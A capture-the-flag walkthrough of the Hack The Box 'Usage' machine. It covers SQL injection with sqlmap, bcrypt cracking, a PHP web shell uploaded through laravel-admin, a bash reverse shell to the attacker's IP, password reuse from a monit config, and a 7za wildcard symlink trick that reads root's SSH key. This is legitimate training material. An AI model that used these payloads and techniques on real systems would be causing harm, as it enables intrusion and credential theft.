#hackthebox #easy #linux
![[Pasted image 20250823181336.png]]
# Information Gathering - Nmap
As always, I started with scanning all TCP ports
```bash
┌──(kali㉿kali)-[~/Desktop]
└─$ nmap $IP -Pn -n --open --min-rate 3000 -p-
Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-23 19:03 UTC
Nmap scan report for 10.10.11.18
Host is up (0.048s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 17.58 seconds
```
Then run another TCP scan against the open ports found.
```bash
┌──(kali㉿kali)-[~/Desktop]
└─$ nmap $IP -sCV -p 22,80
Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-23 19:03 UTC
Nmap scan report for 10.10.11.18
Host is up (0.047s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 a0:f8:fd:d3:04:b8:07:a0:63:dd:37:df:d7:ee:ca:78 (ECDSA)
|_ 256 bd:22:f5:28:77:27:fb:65:ba:f6:fd:2f:10:c7:82:8f (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://usage.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.37 seconds
```
Finally a UDP scan against the top 10 ports
```bash
┌──(kali㉿kali)-[~/Desktop]
└─$ nmap $IP -sU --top-ports 10
Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-23 19:04 UTC
Nmap scan report for 10.10.11.18
Host is up (0.046s latency).
PORT STATE SERVICE
53/udp closed domain
67/udp closed dhcps
123/udp closed ntp
135/udp closed msrpc
137/udp closed netbios-ns
138/udp closed netbios-dgm
161/udp closed snmp
445/udp open|filtered microsoft-ds
631/udp closed ipp
1434/udp closed ms-sql-m
Nmap done: 1 IP address (1 host up) scanned in 4.85 seconds
```
---
# Enumeration
##### HTTP - TCP 80
Before opening up the browser and navigating to the target IP address. I mapped the domain we revealed with Nmap and the target IP address inside the `/etc/hosts` file.
```bash
┌──(kali㉿kali)-[~/Desktop]
└─$ echo '10.10.11.18 usage.htb' | sudo tee -a /etc/hosts
[sudo] password for kali:
10.10.11.18 usage.htb
```
`usage.htb` on port 80 looks like this. The page does not contain much except the login form in the center.
![[Pasted image 20250823140946.png]]
`admin` button takes us to a subdomain `admin.usage.htb`. Let's map that to the target IP address as well.
![[Pasted image 20250823142539.png]]
Then I re-visited the page and this time it showed another login form.
![[Pasted image 20250823142806.png]]
I tried a few default credentials and none of them worked. Therefore, I created an account and logged in.
![[Pasted image 20250823141252.png]]
I haven't gained much information so far. I tried testing for `SQL injection` on every field I could find. Finally, in `/forget-password` page, I tried appending a single quote next to the email value and the server returned 500. This indicates a potential SQL injection. Every other parameters in different POST requests didn't break like this one.
![[Pasted image 20250823145419.png]]
![[Pasted image 20250823150041.png]]
`burp.req` file is as follows:
```bash
┌──(kali㉿kali)-[~/Desktop]
└─$ cat burp.req
POST /forget-password HTTP/1.1
Host: usage.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 69
Origin: http://usage.htb
Connection: keep-alive
Referer: http://usage.htb/forget-password
Cookie: XSRF-TOKEN=eyJpdiI6IlhoN2lpYXBMa0R2bTY4R2FKYXpmL1E9PSIsInZhbHVlIjoiczVIOUFiaEdRMEZFZXQyWG1nK0ZMVEM2czhFZ09vRHBSaVk2Z0FKellML2IyL2N4c2wxMENReVNYbDFWdTkyaG1xb1NpSGIxNWhkNzgzWjh4d0x4YmxVclBVT0dnYU1hWURqUkpMNTJYNWRabmhicjBNTEFJN3ErT0g4K2dBOEoiLCJtYWMiOiJlNDc2MjQ4NzZkMjdmZjk3OTllZDNjMjI0ZjJlYzdkZjg1MmQ3MjAxZTdhMTMzNGZkYzRhNmMwMGFiOTEyZjhhIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ikdya01xSUVGQ1Vtd2tWSjFudlNhVnc9PSIsInZhbHVlIjoiNGhmNm1pTDE3R3ZCVE1rRm9KUkRFY0N5N0w1VjJnbUNzUGJIdnNnSGtPMEVuVWlMZWlBdFQ0NXdsSFBFT0UvZS9qT1MzU09odXR0NTBmOExCRHlBK2t2VWxZMTBMVkkzaTQwcXpIbkdTakd1Nnd6ZzNSeG5uQ3JmTjhOT1JDdzgiLCJtYWMiOiI3YWQ3NGFjZjAzMzFhMmZiOWRmZjg0OGVkZGUwNzFmNzIxOGJlYjFjNDZjOGRlZTk3YjQ0MGY1YWUzMWViZDgyIiwidGFnIjoiIn0%3D
Upgrade-Insecure-Requests: 1
Priority: u=0, i
_token=hQZYA7RCmUKTJt6DryfEdQaMb7x9xsKlhoDAaHdp&email=wook%40wook.com
```
I ran `sqlmap`
```bash
sqlmap -r burp.req --batch
```
However, `sqlmap` says that all parameters are not injectable. That's strange.
```bash
[20:02:11] [CRITICAL] all tested parameters do not appear to be injectable. Try to increase values for '--level'/'--risk' options if you wish to perform more tests. If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe
you could try to use option '--tamper' (e.g. '--tamper=space2comment') and/or switch '--random-agent'
[20:02:11] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 40 times
```
I ran it again but this time customized the options and also specified `email` parameter to be tested.
```bash
sqlmap -r burp.req --level 5 --risk 3 --threads 10 -p email --batch
```
With these options, `sqlmap` now was able to identify the injectable point.
```bash
POST parameter 'email' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 739 HTTP(s) requests:
---
Parameter: email (POST)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause (subquery - comment)
Payload: _token=hQZYA7RCmUKTJt6DryfEdQaMb7x9xsKlhoDAaHdp&
[email protected]' AND 8421=(SELECT (CASE WHEN (8421=8421) THEN 8421 ELSE (SELECT 1061 UNION SELECT 4696) END))-- mnJN
Type: time-based blind
Title: MySQL < 5.0.12 AND time-based blind (BENCHMARK)
Payload: _token=hQZYA7RCmUKTJt6DryfEdQaMb7x9xsKlhoDAaHdp&
[email protected]' AND 8572=BENCHMARK(5000000,MD5(0x6c704f65))-- oVPg
---
[20:19:52] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Nginx 1.18.0
back-end DBMS: MySQL < 5.0.12
[20:19:52] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 348 times
[20:19:52] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/usage.htb'
[*] ending @ 20:19:52 /2025-08-23/
```
`sqlmap -r burp.req --level 5 --risk 3 --threads 10 -p email --batch --dbs`
The command above kept returning unusual characters for the database names. It turned out that setting the threads value to 10 was too fast, which caused sqlmap to return incorrect results.
```bash
[21:03:49] [INFO] retrieved: __________________
[21:03:49] [WARNING] unexpected HTTP code '503' detected. Will use (extra) validation step in similar cases
[21:03:51] [INFO] retrieved: AAA?A??AA??????__? 16/18 (88%)
[21:03:51] [WARNING] unexpected HTTP code '302' detected. Will use (extra) validation step in similar cases
[21:03:52] [ERROR] invalid character detected. retrying..
[21:03:52] [ERROR] invalid character detected. retrying.. ^C
[21:03:53] [INFO] waiting for threads to finish (Ctrl+C was pressed)
[21:03:54] [INFO] retrieved: AAA?A??AA??????em?
[21:03:54] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 13 times, 503 (Service Unavailable) - 82 times
```
I lowered and set the value to 2 and it returned 3 databases. `usage_blog` is the one I'm interested in.
```bash
[21:04:40] [INFO] retrieved: information_schema
[21:04:41] [INFO] retrieving the length of query output
[21:04:41] [INFO] retrieved: 18
[21:04:56] [INFO] retrieved: performance_schema
[21:04:56] [INFO] retrieving the length of query output
[21:04:56] [INFO] retrieved: 10
[21:05:06] [INFO] retrieved: usage_blog
available databases [3]:
[*] information_schema
[*] performance_schema
[*] usage_blog
```
`sqlmap -r burp.req -p email --batch --level 3 --risk 3 --threads 2 -D usage_blog --tables` returns 15 tables. This would consume a lot of time if we just dump all of them. So I'll dump selectively one by one starting from `admin_users`
```bash
Database: usage_blog
[15 tables]
+------------------------+
| admin_menu |
| admin_operation_log |
| admin_permissions |
| admin_role_menu |
| admin_role_permissions |
| admin_role_users |
| admin_roles |
| admin_user_permissions |
| admin_users |
| blog |
| failed_jobs |
| migrations |
| password_reset_tokens |
| personal_access_tokens |
| users |
+------------------------+
```
`sqlmap -r burp.req -p email --batch --level 3 --risk 3 --threads 2 -D usage_blog -T admin_users --dump` returns only one entry that's `admin` user.
![[Pasted image 20250823161905.png]]
`hashcat -m 3200 -a 0 hash.txt /usr/share/wordlists/rockyou.txt`
I cracked the hash using `hashcat` command above and the password in plaintext is `whatever1`
```bash
$2y$10$ohq2kLpBH/ri.P5wR0P3UOmc24Ydvl9DA9H1S6ooOMgH5xVfUPrL2:whatever1
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 3200 (bcrypt $2*$, Blowfish (Unix))
Hash.Target......: $2y$10$ohq2kLpBH/ri.P5wR0P3UOmc24Ydvl9DA9H1S6ooOMgH...fUPrL2
Time.Started.....: Sat Aug 23 21:22:48 2025 (24 secs)
Time.Estimated...: Sat Aug 23 21:23:12 2025 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........: 68 H/s (7.44ms) @ Accel:4 Loops:32 Thr:1 Vec:1
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 1600/14344385 (0.01%)
Rejected.........: 0/1600 (0.00%)
Restore.Point....: 1584/14344385 (0.01%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:992-1024
Candidate.Engine.: Device Generator
Candidates.#1....: alexis1 -> dragon1
Hardware.Mon.#1..: Util: 89%
Started: Sat Aug 23 21:22:43 2025
Stopped: Sat Aug 23 21:23:13 2025
```
# Initial Access - Shell as `dash`
I successfully logged into `/admin` as `admin` with the found credentials. At the bottom right, we have a version info `1.8.17`. The `Dependencies` section also reveals the version of `encore/laravel-admin` is `1.8.18`.
![[Pasted image 20250823162505.png]]
`laravel-admin` dependency has a known vulnerability: Arbitrary File Upload.
![[Pasted image 20250823164102.png]]
```bash
┌──(kali㉿kali)-[~/Desktop]
└─$ cat shell.jpg
<?php system($_REQUEST["cmd"]); ?>
```
`shell.jpg` got successfully uploaded. However, in order for us to perform code execution, we need our file extension to be `.php`.
![[Pasted image 20250823164237.png]]
I intercepted the request with `Burp` and changed the file extension to `.php`
![[Pasted image 20250823164809.png]]
Then I opened the page where the file is stored and appended `?cmd=id` to verify if the code execution is actually working.
![[Pasted image 20250823164954.png]]
Now we confirmed command execution is working. I replaced `id` command with a reverse shell payload `bash+-c+"bash+-i+>%26+/dev/tcp/10.10.14.9/443+0>%261"` It's URL-encoded as well.
![[Pasted image 20250823165610.png]]
It triggered the reverse shell connection and I got the shell as `dash`
```bash
┌──(kali㉿kali)-[~/Desktop]
└─$ nc -lvnp 443
listening on [any] 443 ...
connect to [10.10.14.9] from (UNKNOWN) [10.10.11.18] 45958
bash: cannot set terminal process group (1224): Inappropriate ioctl for device
bash: no job control in this shell
dash@usage:/var/www/html/project_admin/public/uploads/images$ whoami
whoami
dash
```
# Privilege Escalation - shell as `xander`
I found `user.txt` in `/home/dash`.
```bash
dash@usage:/home$ ls
dash xander
dash@usage:/home$ cd dash
dash@usage:~$ ls
user.txt
dash@usage:~$ cat user.txt
3bb...
```
`ls -la` reveals `.monit*` files.
```bash
dash@usage:~$ ls -la
total 52
drwxr-x--- 6 dash dash 4096 Aug 23 22:04 .
drwxr-xr-x 4 root root 4096 Aug 16 2023 ..
lrwxrwxrwx 1 root root 9 Apr 2 2024 .bash_history -> /dev/null
-rw-r--r-- 1 dash dash 3771 Jan 6 2022 .bashrc
drwx------ 3 dash dash 4096 Aug 7 2023 .cache
drwxrwxr-x 4 dash dash 4096 Aug 20 2023 .config
drwxrwxr-x 3 dash dash 4096 Aug 7 2023 .local
-rw-r--r-- 1 dash dash 32 Oct 26 2023 .monit.id
-rw-r--r-- 1 dash dash 5 Aug 23 22:04 .monit.pid
-rw------- 1 dash dash 1192 Aug 23 22:01 .monit.state
-rwx------ 1 dash dash 707 Oct 26 2023 .monitrc
-rw-r--r-- 1 dash dash 807 Jan 6 2022 .profile
drwx------ 2 dash dash 4096 Aug 24 2023 .ssh
-rw-r----- 1 root dash 33 Aug 23 18:58 user.txt
```
`.monitrc` file contains a password: `3nc0d3d_pa$w0rd`
```bash
dash@usage:~$ cat .monitrc
#Monitoring Interval in Seconds
set daemon 60
#Enable Web Access
set httpd port 2812
use address 127.0.0.1
allow admin:3nc0d3d_pa$w0rd
#Apache
check process apache with pidfile "/var/run/apache2/apache2.pid"
if cpu > 80% for 2 cycles then alert
#System Monitoring
check system usage
if memory usage > 80% for 2 cycles then alert
if cpu usage (user) > 70% for 2 cycles then alert
if cpu usage (system) > 30% then alert
if cpu usage (wait) > 20% then alert
if loadavg (1min) > 6 for 2 cycles then alert
if loadavg (5min) > 4 for 2 cycles then alert
if swap usage > 5% then alert
check filesystem rootfs with path /
if space usage > 80% then alert
```
I wondered if that's the password for `xander` and it is.
```bash
dash@usage:~$ su xander
Password:
xander@usage:/home/dash$ whoami
xander
```
# Privilege Escalation - Shell as `root`
`sudo -l` reveals user `xander` can run `usage_management` binary with `sudo`.
```bash
xander@usage:~$ sudo -l
Matching Defaults entries for xander on usage:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
use_pty
User xander may run the following commands on usage:
(ALL : ALL) NOPASSWD: /usr/bin/usage_management
```
```bash
xander@usage:~$ ls -l /usr/bin/usage_management
-rwxr-xr-x 1 root root 16312 Oct 28 2023 /usr/bin/usage_management
```
It's an `ELF` binary file.
```bash
xander@usage:~$ file /usr/bin/usage_management
/usr/bin/usage_management: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=fdb8c912d98c85eb5970211443440a15d910ce7f, for GNU/Linux 3.2.0, not stripped
```
Running `usage_management` prompts me to choose an option
```bash
xander@usage:~$ sudo usage_management
Choose an option:
1. Project Backup
2. Backup MySQL data
3. Reset admin password
Enter your choice (1/2/3):
```
Option 1
```bash
xander@usage:~$ sudo usage_management
Choose an option:
1. Project Backup
2. Backup MySQL data
3. Reset admin password
Enter your choice (1/2/3): 1
7-Zip (a) [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
p7zip Version 16.02 (locale=C.UTF-8,Utf16=on,HugeFiles=on,64 bits,2 CPUs AMD EPYC 7763 64-Core Processor (A00F11),ASM,AES-NI)
Scanning the drive:
2984 folders, 17946 files, 113879129 bytes (109 MiB)
Creating archive: /var/backups/project.zip
Items to compress: 20930
Files read from disk: 17946
Archive size: 54830136 bytes (53 MiB)
Everything is Ok
```
Option 2 and 3
```bash
xander@usage:~$ sudo usage_management
Choose an option:
1. Project Backup
2. Backup MySQL data
3. Reset admin password
Enter your choice (1/2/3): 2
xander@usage:~$ sudo usage_management
Choose an option:
4. Project Backup
5. Backup MySQL data
6. Reset admin password
Enter your choice (1/2/3): 3
Password has been reset.
```
`strings` command gives us an idea about how each option works under the hood. I notice `Option 1` is calling `7za` binary and also using `wildcard *` as a parameter which often leads to vulnerabilities.
![[Pasted image 20250823171218.png]]
Searching for `7za` on `HackTricks` reveals `7za wildcard exploit`.
Here's out the exploit works:
If `7za` sees an argument like `@something`, it treats it as a `list file`. That means `@something` -> open the file `something` and interpret each line inside it as a filename.
Now when `root` user runs this command:
```bash
/usr/bin/7za a /var/backups/project.zip -tzip -snl -mmt -- *
```
My steps will be:
Create a file starting with `@`
```bash
touch @wooklist
```
Make a symbolic link called `wooklist` that points to a sensitive file like the private key
```bash
ln -s /root/.ssh/id_rsa wooklist
```
When `root` runs the `7za` command, the wildcard expands to include both `@wooklist` and `wooklist`. Because of `@wooklist`, `7za` will try to read `woolist`(which points to the private key) as a list of filenames.
```bash
xander@usage:/var/www/html$ touch @wooklist
xander@usage:/var/www/html$ ln -s /root/.ssh/id_rsa wooklist
-rw-rw-r-- 1 xander xander 0 Aug 23 22:41 @wooklist
lrwxrwxrwx 1 xander xander 17 Aug 23 22:41 wooklist -> /root/.ssh/id_rsa
```
```bash
xander@usage:/var/www/html$ sudo usage_management
Choose an option:
1. Project Backup
2. Backup MySQL data
3. Reset admin password
Enter your choice (1/2/3): 1
```
It returned the ssh private key along with the error messages
![[Pasted image 20250823175108.png]]
I can collect all the fragments, remove unnecessary strings, combine them and log into the server as `root` with the private key.
My lazy self is going to do that but go to `/root` straight and fetch `root.txt`
```bash
xander@usage:/var/www/html$ touch @wooklist
xander@usage:/var/www/html$ ln -s /root/root.txt wooklist
```
Got `root.txt`
![[Pasted image 20250823181123.png]]